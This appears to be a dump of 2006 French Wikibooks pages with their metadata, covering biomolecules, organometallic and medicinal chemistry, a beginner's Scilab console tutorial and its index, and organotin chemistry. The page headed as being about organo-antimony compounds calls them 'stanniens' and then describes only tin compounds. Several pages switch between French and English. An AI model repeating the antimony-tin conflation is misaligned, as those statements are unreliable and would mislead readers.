disaccharides ont la saveur sucrée et sont solluble dans l'eau et crystallin. Des exemples de monosaccharides inclus les [[hexose]] ([[glucose]], le [[fructose]], et le [[galactose]], les [[pentoses]] (ribose, [[deoxyribose]]). Des exemples de disaccharides sont le [[sucrose]], le [[maltose]], le [[lactose]]. Les [[polysaccharide]]s sont des polymères de carbohydrates sans saveur sucrée. Ils sont en général grand et possèdent souvent de nombreuses ramifications. Ils sont insoluble dans l'eau et ne forment pas de crystaux. Des exemples sont l'[[amidon]], la [[cellulose]], et le [[glycogène]]. Des polysaccharides plus courts, avec 2-15 monomers, sont quelques fois appelés [[oligosaccharides]]. == Lipides == [[Lipid]]s are chiefly '''[[fatty acid]] [[ester]]s''', and are the basic building blocks of [[cell membrane|biological membranes]]. Another biological role is energy storage (e.g., [[triglyceride]]s). Most lipids consist of a [[polar molecule|polar]] or [[hydrophilic]] head and one to three nonpolar or [[hydrophobic]] fatty acid tails, and therefore they are [[amphiphilic]]. Fatty acids consist of unbranched chains of carbon atoms that are connected by single bonds alone ('''[[saturated fat|saturated]]''' fatty acids) or by both single and [[double bond]]s ('''[[unsaturated fat|unsaturated]]''' fatty acids). The chains are usually 14-24 carbon groups long. For lipids present in biological membranes, the hydrophilic head is from one of three classes: *[[Glycolipid]]s, whose heads contain an [[oligosaccharide]] with 1-15 saccharide residues. *[[Phospholipid]]s, whose heads contain a positively charged group that is linked to the tail by a negatively charged phosphate group. *[[Sterol]]s, whose heads contain a planar steroid ring, for example, [[cholesterol]]. == Hormones == [[Hormone]]s are produced in the [[endocrine]] glands, where they are excreted into the [[blood]]stream. They perform a wide range of roles in the various organs including the regulation of [[metabolic pathway]]s and the regulation of membrane transport processes. Hormones may be grouped into three structural classes: *The [[steroid]]s are one class of such hormones. They perform a variety of functions, but they are all made from cholesterol. *Simple amines or amino acids. *Peptides or proteins. == Amino acids == [[Amino acids]] are [[molecule]]s that contain both [[amino]] and [[carboxylic acid]] [[functional group|functional groups]]. ( In [[biochemistry]], the term amino acid is used when referring to those amino acids in which the amino and carboxylate functionalities are attached to the same carbon, plus [[proline]] which is not actually an amino acid). Amino acids are the building blocks of long [[polymer]] chains. With 2-10 amino acids such chains are called [[peptide]]s, with 10-100 they are often called [[polypeptide]]s, and longer chains are known as [[protein]]s. These protein structures have many structural and functional roles in organisms. There are twenty amino acids that are encoded by the standard [[genetic code]], but there are more than 500 natural amino acids. When amino acids other than the set of twenty are observed in proteins, this is usually the result of modification after [[translation (biology)|translation]] ([[protein synthesis]]). Only two amino acids other than the standard twenty are known to be incorporated into proteins during translation, in certain organisms: * [[Selenocysteine]] is incorporated into some proteins at a UGA [[codon]], which is normally a stop codon. * [[Pyrrolysine]] is incorporated into some proteins at a UAG codon. For instance, in some [[methanogen]]s in enzymes that are used to produce [[methane]]. Besides those used in [[protein synthesis]], other biologically important amino acids include [[carnitine]] (used in lipid transport within a cell), [[ornithine]], [[GABA]] and [[taurine]]. === Protein structure === The particular series of amino acids that form a protein is known as that protein's [[primary structure]]. Proteins have several, well-classified, elements of local structure and these are termed [[secondary structure]]. The overall [[dimension|3D]] structure of a protein is termed its [[tertiary structure]]. Proteins often aggregate into macromolecular structures, or [[quaternary structure]]. === Metalloproteins === A [[metalloprotein]] is a protein that contains a [[metal]] [[cofactor]]. The metal may be an isolated [[ion]] or may be [[complex (chemistry) | coordinated]] with an nonprotein [[organometallic compound|organic compound]], such as the [[porphyrin]] group found in [[hemoprotein]]s. In some cases, the metal is coordinated with both a side chain of the protein and an inorganic nonmetallic ion. This type of protein-metal-nonmetal structure is found in [[iron-sulfur cluster]]s. == Vitamins == A [[vitamin]] is a compound that can not be synthesized by a given organism but is nonetheless vital to its survival or health. These compounds must be absorbed, or eaten, but typically only in trace quantities. == See also == *[[List of biomolecules]] [[Category:Biochemicals]] [[Category:Biochemistry]] [[de:Biomolekül]] [[es:biomolécula]] [[id:Biomolekul]] [[ja:生体物質]] [[pt:Biomoléculas]] [[su:Biomolekul]] [[th:ไบโอโมเลกุล]] Chimie organométallique 8345 42481 2006-05-16T11:01:52Z 213.41.1.226 /* Chimie Organometallique */ '''La chimie organométallique''' est l'étude des [[composés chimiques]] possédant des liasions chimiques entre un atome de [[carbone]] et un atome d'un [[métal]]. Souvent cette définition est trop stricte car beaucoup de composés sans de telles liaisons ont une réactivité chimique similaire. Une alternative approprié à cette définition serait "composés contenant un élément-métal lié avec une liaison à caractère essentiellement covalente". La chimie organométallique combine des aspects de la [[chimie inorganique]] et de la [[chimie organique]]. Les composés organométallique sont distingués par le le préfixe "organo-". Les composés [[organopalladium]] sont un exemple de cette règle. Les composés organométalliques les plus plus usuels sont les organozincique tel que ClZnCH<sub>2</sub>C(=O)OEt (chloro(ethoxycarbonylmethyl)zinc), les organocuprates tel que Li[CuMe<sub>2</sub>] (lithium dimethylcuprate), les organomagnesiens tel que le [[réactif de Grignard]] MeMgI (methylmagnesium iodide) and MgEt<sub>2</sub> (diethylmagnesium), and les organolithium tel que le [[n-butyllithium]]. Des classes importantes de composés organométalliques sont les [[metal carbonyl]], les [[transition metal carbene complex|carbene complexes]] et [[metallocene]] avec le [[ferrocene]] comme premier exemple. Le "metal" est défini exprès dans un sens large dans ce contexte et peut inclure des éléments, tel que le [[silicium]], l'[[arsenic]] ou le [[bore]], qui ne sont pas des métals mais sont considérés être des [[metalloides]] tel que l'organoborane Et<sub>3</sub>B [[triethylborane]]. Il y a aussi le groupe des [[métals pauvres]] qui sont des elements tel que l'[[aluminium]] qui forme le [[catalyseur de Ziegler-Natta]]. Les composés organométalliques sont souvent utilisé comme [[catalyseurs]], par exemple pour la production de dérivés du pétrole et en partculier la production de polymère. La [[règle des 18 électrons]] et le [[principe d'isolobal]] sont des concepts qui aide à comprendre la liaison chimique et la réactivite des composés organométalliques. == Principaux organométalliques == * [[Chimie des organopalladiums ]] * [[Chimie des organoplatinums ]] * [[Chimie des organo-antimoines]] * [[Chimie des organomagnésiens]] * [[Chimie des organoboranes]] Chimie médicinale 8346 44454 2006-06-12T20:32:17Z 194.199.165.10 /* Découverte */ La '''chimie medicinale''' ou '''chimie pharmaceutique''' est une discipline scientifique à l'intersection de la [[chimie]] et de la [[pharmacie]] incluant la [[conception de médicaments]] and leur developpement. La chimie médicinale consiste en l'identification , la synthèse et le développement de nouvelles entitités moléculaires ayant une activité biologique ou thérapeutique. Elle étudie en particulier leurs propriétés biologiques et le [[rapport structure-activité]] (QSAR). La chimie pharmaceutique est hautement inter-disciplinaire puisqu'elle fait appel à la [[chimie organique]], la [[biochimie]], l'[[informatique chimique]], la [[pharmacologie]], la [[biologie moléculaire]], les [[statistiques]] et la [[chimie-physique]]. ==Cheminement d'un médicament commercialisé== ===Découverte=== La première étape consiste en l'identification des classes de composés actifs, souvent appelés "hits", qui sont souvent trouvés en examinant systématiquement (screening)de nombreux composés aux propriétés biologiques désirées. Ces "hits" peuvent venir de sources naturelles , telles que des [[plantes]], des [[animaux]], ou des [[champignons]]. Le plus souvent, proviennent de source synthétiques, de collections de composés synthétisés et de la [[chimie combinatoire]]. Les récents développement en robotique and et la minuatirisation ont grandement accéléré et automatisé le processus de screening. Typiquement, plus de 100,000 composés vont être testés individuellement avant de passer à l'étape d'optimisation. ===Optimisation=== La deuxième étape de la découverte d'un médicament implique la modification des molécules hits afin d'améliorer les propriétés biologiques du composé pharmacophore. La relation quantitative structure-activité du pharmacophore joue un rôle important dans la découverte des molécules "leader" qui se montrent les plus actives, selectives et avec un minimun de toxicité. ===Développement=== L'étape final s'occupe de la préparation des molécules "leader" pour les essais cliniques. Cette préparation implique l'optmisation de la synthèse pour leur production en grande quantité, et de leur formulation. Découvrir Scilab 8350 46361 2006-06-28T14:17:28Z Cdang 1202 /* Table des matières */ modif lien ''Ce wikilivre se trouve sur les étagères [[Accueil/Informatique|informatique]] et [[mathématiques]].'' ---- '''Scilab''' est un logiciel gratuit, mais pas libre <ref>le programme et le code source sont distribués gratuitement, mais il ne peut pas être repris et vendu </ref>, de calcul numérique [http://www.scilab.org/]. Il fût initialement développé, en 1990, par des chercheurs de l'Institut national de recherche en informatique et en automatique (INRIA) et de l'École nationale des ponts et chaussées (ENPC), et est développé depuis 2003 par le Scilab Consortium. ''Voir l'[[w:Scilab|article de Wikipédia]] sur le sujet.'' Le but du présent ouvrage est de mettre un pied à l'étrier pour l'utilisation de ce programme. Scilab est un outil très puissant permettant de faire des choses très complexes, mais nous nous contenterons ici de choses élémentaires. Les applications proposées peuvent sans doute être faites par d'autres programmes, qui seront peut-être plus faciles d'accès (notamment ayant une interface graphique plus développée) ; le but ici est juste d'aider à la prise en main de logiciel sur des exemples simples. Le présent ouvrage a été écrit pour la version 4.0 de Scilab. Il peut y avoir des différences avec des versions antérieures ou postérieures. == Conventions de notation == Tout ce qui est tapé au clavier par l'utilisateur et tout ce qui est affiché à l'écran par Scilab est mis <code>sous cette forme-là</code> (balise HTML « <code>&lt;code&gt;…&lt;/code&gt;</code> », habituelllement rendu par une police à chasse fixe avec empattement du type Courier sur fond gris-clair). Lorsqu'une partie figure en ''italique'', cela signifie qu'elle doit être remplacé en fonction du contexte. Par exemple, <code>sin(''nombre'')</code> signifie que la chaîne « ''nombre'' » doit être remplacé par un nombre. Lorsqu'il s'agit d'une touche de clavier particulière, elle est mise entre crochets, par exemple <code>[Suppr]</code> désigne la touche permettant de supprimer une lettre. Lorsqu'il s'agit d'une combinaison de touches, on met un signe plus entre les touches ; par exemple, <code>[Ctrl]+[C]</code> indique qu'il faut appuyer simultanément sur les touches « contrôle » et « C ». Les contrôles qui sont actionnés par la souris (boutons graphiques, zones de texte, menus déroulants…) sont signalés en gras. Dans le cas d'un menu, le tube « | » indique l'option choisie ; par exemple, '''Édition | Copier''' signifie qu'il faut cliquer qur le menu '''Édition''', puis sur l'option '''Copier''' qui apparaît dans le menu déroulant. Les extensions de nom de fichier sont notées en capitales. == Table des matières == # [[Découvrir Scilab Interface|Interface]] # [[Découvrir Scilab Calculs élémentaires|Calculs élémentaires]] # [[Découvrir Scilab Calcul numérique|Calcul numérique]] # [[Découvrir Scilab Graphiques et sons|Graphiques et sons]] # [[Découvrir Scilab Programmation|Programmation]] # [[Découvrir Scilab Environnement|Environnement]] # [[Découvrir Scilab Gestion des fichiers|Gestion des fichiers]] # [[Découvrir Scilab Index|Index]] == Notes == <references /> [[catégorie:Mathématiques|Scilab]] [[catégorie:Informatique|Scilab]] Modèle:Scilab 8351 42704 2006-05-17T20:59:04Z Cdang 1202 Découvrir Scilab Index ''[[Découvrir Scilab|Table des matières]]'' — ''[[Découvrir Scilab Index|Index]]'' ---- Découvrir Scilab Interface 8352 46305 2006-06-28T12:15:59Z Cdang 1202 /* Saisie des comandes et affichage numérique */ virgule {{Scilab}} <br /> <big><big><big>1. Interface utilisateur </big></big></big> ---- == Saisie des comandes et affichage numérique == Scilab est un logiciel qui s'utilise en ligne de commande. L'écran se compose d'une zone de saisie dans laquelle on va taper des commandes. L’invite de la ligne de commande ''(prompt)'' est constitué d’une «&nbsp;flèche&nbsp;»&nbsp;: deux tirets et un signe supérieur <code>--&gt;</code>. L’instruction est tapée puis validée avec la touche de retour chariot (<code>[←┘]</code>, <code>[Enter]</code> ou <code>[Return]</code>). Le résultat est affiché à la suite, sauf si la ligne se termine par un <font id="point_virgule1">point-virgule</font> auquel cas le résultat est caché. ; Par exemple&nbsp;: * sans point-virgule -->a=1[←┘] a = 1. -->A=2[←┘] A = 2. -->a+A[←┘] ans = 3. * avec points-virgules -->a=1;[←┘] -->A=2;[←┘] -->a+A[←┘] ans = 3. Lorsque l'on écrit une ligne, on peut utiliser les touches classiques d'édition (variable selon le système et le type du clavier) : * <code>[→]</code> : avancer d'une lettre ; * <code>[←]</code> : reculer d'une lettre ; * touches de suppression (<code>[Del]</code>, <code>[Suppr]</code>, <code>[<math>\longleftarrow</math>]</code>) ; * touche de retour chariot <code>[←┘]</code>, <code>[Enter]</code> ou <code>[Return]</code> : validation et exécution de la commande ; * <code>[↑]</code> et <code>[↓]</code> : permettent de faire défiler les commandes tapées précédemment (historique des commandes). L'endroit où se place le caractère (lettre, chiffre, signe…) tapé est signalé par le curseur, un trait de soulignement clignotant (Windows XP) ou un rectangle (MacOS X). L'édition se fait en insertion, c'est-à-dire que si le curseur est au milieu d'une ligne, les caractères suivants sont décalés d'une position à droite lorsque l'on entre un caractère. <font id="trois_points1">On</font> peut, si on le désire, fractionner l'édition sur plusieurs ligne. Pour cela, il faut terminer la ligne par trois points « <code>...</code> ». ; Exemple -->a=...[←┘] -->5[←┘] a = 5. Ceci est bien sûr plutôt intéressant lorsque la ligne à taper est longue. À l'inverse, on peut mettre plusieurs instructions sur un même ligne en les séparant d'une <font id="virgule1">virgule</font>, ou bien d'un point-virgule si l'on ne veut pas que le résultat soit affiché. ---- ; Note : Par la suite, le retour chariot <code>[←┘]</code> sera omis, un retour à la ligne après une ligne commençant par l'invite <code>--&gt;</code> l'indiquera implicitement. ---- == Chaînes de caractère == Par défaut, une suite de caractères est interprété comme une commande ou comme une variable. Pour indiquer que c'est une <font id="chaine1">chaîne de caractères</font>, il faut la mettre entre <font id="apostrophe1">apostrophes</font> « <code>'</code> » ou entre <font id="guillemet1">guillemets</font> « <code>"</code> ». Lorsque la chaîne doit contenir une apostrophe, on redouble l'apostrophe. De même, lorsque la chaîne doit contenir des guillemets, on redouble ces guillemets. ; Exemple -->l'amertume de la "bière" !--error 4 undefined variable : l -->'l<nowiki>''</nowiki>amertume de la ""bière""' ans = l'amertume de la "bière" -->"l<nowiki>''</nowiki>amertume de la ""bière""" ans = l'amertume de la "bière" Les chaînes de caractères sont utilisées pour définir certains paramètres de fonctions, ou bien pour afficher des étiquettes et légendes sur les graphiques. == Éditeur SciPad == Scilab dispose d'un éditeur de programme, <font id="scipad1">SciPad</font>, qui peut être lancé en tapant <code>scipad</code> dans la ligne de commande. Il s'agit d'un éditeur multiligne : lorsque l'on appuie sur le retour chariot, cela ne valide pas la commande mais passe simplement à la ligne suivante. Les touches <code>[↑]</code> et <code>[↓]</code> permettent de changer de ligne, d'aller éditer une autre ligne. Ce qui est tapé dans cet éditeur peut ensuite être sauvegardé dans un fichier <font id="sce1">.SCE</font> ou bien directement exécuté dans Scilab. == Affichage graphique == L'affichage graphique (tracé d'une courbe, dessin…) se fait dans une fenêtre dédiée que nous appelerons « fenêtre graphique ». Cette fenêtre s'affiche automatiquement dès la première instruction graphique. Par exemple, taper <font id="clf1"><code>clf</code></font> puis valider : cela affiche une fenêtre graphique vide. == Aide en ligne == [[Image:Scilab aide windows.png|thumb|Aide en ligne de Scilab]] Scilab dispose d'une <font id="aide1">aide en ligne</font>. Pour cela, taper <font id="help1"><code>help</code></font>. Cela affiche une fenêtre Browse Help (« naviguer dans l'aide ») avec une arborescence à gauche. Lorsque l'on clique sur un dossier de l'arborescence, une branche se développe, faisant apparaître les articles. Chaque article correspond à une commande ou à une fonction prédéfinie ; il suffit de cliquer dessus pour que le contenu de l'aide — disponible en français, mais quelques articles restent en anglais — s'affiche dans la partie droite de la fenêtre. Lorsque l'on clique sur le bouton '''Rechercher''' [[Image:Scilab bouton rechercher.png|bouton Rechercher]], un champ de recherche apparaît dans lequel on peut entrer un mot-clef ; lorsque l'on appuie sur le retour chariot <code>[←┘]</code>, le programme effectue une recherche et affiche les article correspondants dans la zone de texte située dans la partie gauche de la fenêtre. il suffit de cliquer dessus pour que le contenu de l'article s'affiche dans la partie droite de la fenêtre. On revient à une navigation par arborescence en cliquant sur le bouton '''Arborescence''' [[Image:Scilab bouton arborescence.png|bouton Arborescence]]. == Fermer le programme == Scilab peut être fermé de la manière habituelle selon les systèmes d'exploitation : en général bouton en forme de croix ou menu '''Fichier | Quitter'''. On peut aussi * taper <font id="exit1"><code>exit</code></font> en ligne de commande ; * lorsque l'on est dans l'environnement initial, on peut également taper <font id="quit1"><code>quit</code></font> (voir aussi ''[[Découvrir Scilab Environnement|Environnement]]''). == Spécificités selon les systèmes d'exploitation == === Sous Microsoft Windows === ==== Éditeur de ligne de commande ==== [[Image:Scilab_windows_boutons_edition.png|thumb|Boutons d'édition '''Copier''' (gauche) et '''Coller''' (droite)]] Voici les effets des touches suivantes dans l'éditeur de ligne de commande : * <code>[↖]</code> ou <code>[Home]</code> : aller en début de ligne ; * <code>[Fin]</code> ou <code>[End]</code> : aller en fin de ligne ; * <code>[Échap]</code> ou <code>[Esc]</code> efface la ligne courante. On peut utiliser les actions classiques de la souris, par exemple sélectionner une ligne de texte et faire du <font id="copier1">copier-coller</font> : * en utilisant le menu contextuel accessible en cliquant avec le bouton droit <ref>pour les droitiers, ou le bouton gauche si la souris est configurée pour les gauchers</ref>, * avec les boutons d'édition situés en haut de la fenêtre, ou * avec les raccourcis clavier, par exemple <code>[Ctrl]+[C]</code> et <code>[Ctrl]+[V]</code>. ---- ; Attention : l'utilisation de <code>[Ctrl]+[C]</code> lorsqu'aucun texte n'a été sélectionné avec la souris a un effet totalement différent, voir le chapitre ''[[Découvrir Scilab Environnement|Environnement]]''. Il est donc préférable d'éviter le raccourci clavier pour la fonction copier. ---- Le texte ne peut être sélectionné qu'avec la souris ; la combinaison de touches <code>[<math>\Uparrow</math>]+[→]</code> ou <code>[<math>\Uparrow</math>]+[←]</code>, utilisable dans de nombreuses autres applications, ne fonctionne pas<ref><code>[<math>\Uparrow</math>]</code> désigne la touche permettant d'accéder aux capitales, souvent notée <code>[Maj]</code> pour « majuscules » bien que le terme soit impropre (voir ''[[w:Capitale et majuscule]]'') ; cette touche est appelée ''« shift »'' en anglais </ref>. Il est possible de copier du texte dans une autre application (par exemple un éditeur de texte ou bien du texte affiché par un navigateur Internet) et de le coller dans l'éditeur de ligne de commande de Scilab. On peut ainsi utiliser des instructions écrites au préalable, éventuellement par d'autres personnes (voir aussi ''[[Découvrir Scilab Gestion des fichiers|Gestion des fichiers]]''). Notons que le raccourci Scilab pointe vers un programme nommé WScilex.EXE situé dans <code>~\bin\</code>, le tilde <code>~</code> indiquant ici le répertoire (dossier) d'installation (par défaut <code>C:\Program Files\Scilab-4.0\</code> pour la version 4.0). Il existe un autre programme dans le même répertoire, Scilex.EXE, qui est un éditeur en ligne de commande Scilab mais sans « l'environnement habituel » Microsoft Windows : la fenêtre n'a pas de menu ni de bouton, seule la ligne de commande est active, et on ne peut pas copier le texte de la fenêtre (on en peut pas le sélectionner avec la souris), ni coller du texte copié d'une autre application Microsoft Windows. On peut tout de même lancer l'aide ou l'éditeur de programme en tapant <code>help</code> ou <code>scipad</code>. ==== Éditeur de programme SciPad ==== Concernant l'éditeur de programme SciPad, il est possible de faire du copier-coller depuis ou vers une autre application Microsoft Windows, et les combinaisons de touches <code>[<math>\Uparrow</math>]+[→]</code> et <code>[<math>\Uparrow</math>]+[←]</code> permettent de sélectionner du texte. ==== Aide en ligne ==== [[Image:Chm onglets navigation.png|thumb|Onglets de navigation de l'aide en ligne Microsoft Windows]] Il est possible de télécharger séparément un <font id="aide2">fichier d'aide</font> au format <font id="chm1">CHM</font> (''compiled HTML'', un format d'aide propre à Microsoft Windows). Ce fichier contient les mêmes informations que l'aide en ligne accessible par <code>help</code>, seule change l'interface ; le fichier s'appelle <code>man-fr-scilab-4.0.CHM</code> (la nomenclature était différente dans la version précédente, le fichier s'appelait <code>sciman-fr-3.1.1.CHM</code>)<ref>le terme « man » fait référence à la fonction Unix permettant d'afficher les pages de manuel. </ref>. On lance cette aide avec un double-clic sur l'icône dans l'Explorateur Windows. La fenêtre comporte deux parties : * à gauche, un panneau de navigation avec trois onglets : ** '''sommaire''' : c'est une arborescence, similaire à l'aide <code>help</code> ; ** '''index''' : permet une recherche par mots-clefs (des mots-clefs sont associés aux articles) ; ** '''rechercher''' : permet une recherche par chaîne de caractère (lorsque l'on cherche un mot qui n'a pas été entré comme mot-clef) ; * à droite, un panneau où s'affiche l'article sélectionné dans le panneau de navigation. === Sous MacOS X === Scilab fonctionne dans l'environnement X11 ; on ne peut pas copier un texte dans une autre application puis le coller dans l'éditeur en ligne de Scilab. Par contre, c'est possible dans SciPad. SciPad peut être lancé en cliquant sur le bouton '''Editor''' en haut de la fenêtre. Il est possible de <font id="copier2">copier</font> du texte d'une application extérieure (y compris sous Aqua<ref>Aqua est l'environnement graphique « naturel » de MacOS X </ref>) de manière classique (par exemple avec <code>{{pomme}}+[C]</code>), puis de le coller dans SciPad avec le menu '''Edit | Paste''' ou bien le raccourci clavier <code>[Ctrl]+[V]</code>. ---- ; Note : Les raccourcis pour le copier-coller sont différents entre les applications sous Aqua (touche {{pomme}}) et SciPad (touche <code>[Ctrl]</code>). ---- Les touches de fonction classiques fonctionnent normalement dans l'éditeur de ligne de commande : * <code>[↖]</code> : aller en début de ligne ; * <code>[↘]</code> : aller en fin de ligne. == Voir aussi == ; Dans Wikipédia * [[w:Aqua (informatique)|Aqua]] * [[w:Chaîne de caractères|Chaîne de caractères]] * [[w:Man (commande Unix)|Man]] * [[w:X11|X11]] == Notes == <references /> ---- ''[[Découvrir Scilab|Introduction]]'' &lt; [[Découvrir Scilab|↑]] &gt; ''[[Découvrir Scilab Calculs élémentaires|Calculs élémentaires]]'' Chimie des organo-antimoines 8353 42618 2006-05-17T11:36:41Z 213.41.42.74 Les [[organo-antimoines]] ou "stanniens" sont des dérivés comprenant un atome d'antimoine relié à une chaîne substituée hydrocarbonée. La chimie des organo-stanniens est le champ le plus large de la chimie organo-métallique. Le premier organo-stannien connu était le diethyltindiiodide, découvert par [[Edward Frankland]] en 1849. Tributyl-antimoine a été largement utilisé comme moyen de [[préservation du bois]]. == Preparation of organotin compounds == * reaction of a [[grignard reagent]] with tin halides for example [[tin tetrachloride]] * [[Wurtz reaction]] like coupling of alkyl sodium compounds with tin halides yields tetraorgano tin compounds * by an exchange reaction of tin halides with organo aluminium compounds (AlR<sub>3</sub>) * triorganotin halides are prepared in the [[Kocheshkov redistribution reaction]] As an example the [[organic synthesis]] of tributyl-[(Z)-5-phenyl-2-penten-2-yl]stannane: [[Image:M006701.gif|center]] A [[Grignard reagent]] is prepared from magnesium turnings and (Z)-2-bromo-5-phenyl-2-pentene in dry [[tetrahydrofuran]] and [[titration|titrated]] with [[tributyltin chloride]] until the solution decolourises. The resulting solution is stirred at [[room temperature]] for 1 hour and the solvent is removed in a [[rotavapor]]. [[Diethyl ether]] is added and the ether extract is washed with [[brine]] and filtered and the ether evaporates in a [[rotavapor]]. The crude product is [[kugelrohr]] distilled to yield tributyl-[(Z)-5-phenyl-2-penten-2-yl]stannane as a colourless oil. == Reactions of organotin compounds == * [[Stille reaction]] == Use and toxicity == * Tetraorganotins are very stable molecules with low toxicity and low biological activity. They are unusable as biocides, but they can be metabolized to toxic triorganotin compounds. They are used as starting materials for catalysts. * Triorganotins are very toxic. Tri-''n''-alkyltins are [[phytotoxic]] and therefore cannot be used in agriculture. Depending on the organic groups, they can be powerful [[bactericide]]s and [[fungicide]]s. Tributyltins are used as industrial biocides, eg. as antifungal agents in textiles and paper, wood pulp and paper mill systems, breweries, and industrial cooling systems. Triphenyltins are used as active components of antifungal paints and agricultural fungicides. Other triorganotins are used as [[miticide]]s and [[acaricide]]s. * Diorganotins have no antifungal activity, low toxicity, and low antibacterial activity, except for diphenyltins. They are used in polymer manufacturing, as [[Polyvinyl chloride|PVC]] heat stabilizers, catalysts, in the manufacturing of [[polyurethane]] and [[silicone]] curing. * Monoorganotins have no biocidal activity and their toxicity to mammals is very low. Methyltin, butyltin, octyltin and monoestertins are used as PVC heat stabilizers. == Important compounds == * [[Tributyltin oxide]], a colorless to pale yellow liquid used in [[wood preservation]] * [[Triphenyltin acetate]], an off-white crystalline solid, used as an [[insecticide]] and a [[fungicide]] * [[Triphenyltin chloride]], a white crystalline solid, used as a biocide and an intermediate in chemical synthesis * [[Triphenyltin hydroxide]], an off-white powder, used as a [[fungicide]] and to sterilize insect * [[Fenbutatin oxide]], a very stable white crystalline solid, for control of [[mite]]s * [[Azocyclotin]], a colorless crystalline solid, used as a long-acting [[acaricide]] for control of [[spider mite]]s on plants * [[Cyhexatin]], a white crystalline solid, used as an [[acaricide]] and [[miticide]] == See also == * Compounds of carbon with other [[carbon group|group 14]] elements: [[organosilicon compound]]s, [[organogermanium compound]]s, '''organotin compounds''', [[organolead compound]]s. == References == * ''Tributyl-[(Z)-5-phenyl-2-penten-2-yl]stannane'' Martin J. Stoermer, John T. Pinhey Molecules '''1998''', 3, M67 [http://www.mdpi.org/molbank/m0067.htm article] [[open access]] publication * ''Synthetic aspects of tetraorganotins and organotin(IV) halides'' Sander H.L. Thoonen a, Berth-Jan Deelman b, Gerard van Koten Journal of Organometallic Chemistry 689 ('''2004''') 2145–2157 [http://dspace-test.library.uu.nl/keur/chem/2005-0426-063436/13093.pdf article] [[Darenet]] publication [[http://fr.wikibooks.org/wiki/Wikiversit%C3%A9:Facult%C3%A9_de_Chimie Acceuil Ecole de chime]] Scilab 8354 42622 2006-05-17T12:56:36Z Cdang 1202 #redirect [[Découvrir Scilab]] #redirect [[Découvrir Scilab]] Découvrir Scilab Index 8355 46355 2006-06-28T14:11:27Z Cdang 1202 son, sound, soundsec, analyze {{Scilab}} {{SommaireCompact}} <br /> <big><big><big>8. Index</big></big></big> ---- == Caractères spéciaux == * <code>.</code> : [[Découvrir Scilab Calculs élémentaires#point1|1]], [[Découvrir Scilab Calculs élémentaires#point2|2]] * <code>...</code> : [[Découvrir Scilab Interface#trois_points1|1]] * <code>,</code> : [[Découvrir Scilab Interface#virgule1|1]], [[Découvrir Scilab Calculs élémentaires#virgule2|2]], [[Découvrir Scilab Programmation#virgule3|3]] * <code>;</code> : [[Découvrir Scilab Interface#point_virgule1|1]], [[Découvrir Scilab Calculs élémentaires#point_virgule2|2]], [[Découvrir Scilab Programmation#point_virgule3|3]] * <code>:</code> : [[Découvrir Scilab Calculs élémentaires#deux_points1|1]] * <code>!</code> : [[Découvrir Scilab Calculs élémentaires#point_exclamation1|1]] * <code>[…]</code> : [[Découvrir Scilab Calculs élémentaires#crochet1|1]] * <code>'</code> : voir ''[[#apostrophe|Apostrophe]]'' * <code>"</code> : voir ''[[#guillemet|Guillemet]]'' * <code>%</code> : [[Découvrir Scilab Calculs élémentaires#pourcent1|1]], [[Découvrir Scilab Calculs élémentaires#pourcent2|2]] * <code>$</code> : [[Découvrir Scilab Calculs élémentaires#dollar1|1]] * <code>+</code> : voir ''[[#concatenation|Concaténation]]'' * <code>//</code> : voir ''[[#commentaire|Commentaire]]'' * <code>|</code> : voir ''[[#Ou_logique|Ou logique]]'' * <code>&amp;</code> : voir ''[[#Et_logique|Et logique]]'' * <code>~</code> : voir ''[[#Non_logique|Non logique]]'' * <code>~=</code> : voir ''[[#Difference_operateur|Différence (opérateur)]]'' * <code>=</code> : voir ''[[#Assignation_de_variable|Assignation de variable]]'' * <code>==</code> : voir ''[[#Egalite_operateur|Égalité (opérateur)]]'' * <code>&lt;</code>, <code>&gt;</code>, <code>&lt;=</code>, <code>&gt;=</code> : voir ''[[#Ordre_operateur|Ordre (opérateur)]]'' * π : voir ''[[#Pi|Pi]]'' * ∞ : voir ''[[#Infini|Infini]]'' == A == * Aide en ligne : [[Découvrir Scilab Interface#aide1|1]], [[Découvrir Scilab Interface#aide2|2]] * <code>analyze</code> : [[Découvrir Scilab Graphiques et sons#analyze1|1]] * Angle ** de vue d'un tracé 3d : [[Découvrir Scilab Graphiques et sons#angle_vue1|1]] * <code>ans</code> : [[Découvrir Scilab Calculs élémentaires#ans1|1]] * <font id="apostrophe">Apostrophe</font> : [[Découvrir Scilab Interface#apostrophe1|1]], [[Découvrir Scilab Calculs élémentaires#apostrophe2|2]] * <font id="Assignation_de_variable">Assignation de variable</font>, <code>=</code> : [[Découvrir Scilab Calculs élémentaires#assignation1|1]] * <font id="axe">Axe</font> (voir aussi ''[[#echelle|Échelle]]'') : [[Découvrir Scilab Graphiques et sons#axe1|1]] ** nombre de graduations : [[Découvrir Scilab Graphiques et sons#axe_graduations1|1]] ** limite des ~s en 3D : [[Découvrir Scilab Graphiques et sons#axe_limite_3d1|1]] ** nom des ~s : [[Découvrir Scilab Graphiques et sons#titre_axe1|1]] == B == * Boole (algèbre), booléen : [[Découvrir Scilab Calculs élémentaires#boole1|1]] * Boucle itérative : [[Découvrir Scilab Programmation#boucle_iterative1|1]] * Branchement conditionné : [[Découvrir Scilab Programmation#branchement_conditionne1|1]] == C == * Chaîne de caractères (voir aussi ''[[#xstring|Xstring]]'') : [[Découvrir Scilab Interface#chaine1|1]], [[Découvrir Scilab Calculs élémentaires#chaine2|2]] * <code>champ</code> : [[Découvrir Scilab Graphiques et sons#champ1|1]] * Champ ** tracé d'une carte d'un ~ de scalaire : voir ''[[#grayplot|Grayplot]]'' ** tracé d'une carte d'un ~ de vecteurs : voir ''[[#vecteur|Vecteur : champ de vecteurs]]'' * <code>.CHM</code> (fichier ~) : [[Découvrir Scilab Interface#chm1|1]], * <code>clf</code> : [[Découvrir Scilab Interface#clf1|1]], [[Découvrir Scilab Graphiques et sons#clf2|2]] * <code>coeff</code> : [[Découvrir Scilab Calculs élémentaires#coeff1|1]] * <font id="concatenation">concaténation</font> : [[Découvrir Scilab Calculs élémentaires#concatenation1|1]] * <code><font id="colormap">colormap</font></code> : [[Découvrir Scilab Graphiques et sons#colormap1|1]] * <font id="commentaire">Commentaire</font>, <code>//</code> : [[Découvrir Scilab Programmation#commentaire1|1]] * Copier-coller : [[Découvrir Scilab Interface#copier1|1]], [[Découvrir Scilab Interface#copier2|2]] * Couleur ** ~ d'un vecteur d'un champ : [[Découvrir Scilab Graphiques et sons#couleur_vecteur1|1]] ** carte de couleurs : [[Découvrir Scilab Graphiques et sons#carte_couleurs1|1]], [[Découvrir Scilab Graphiques et 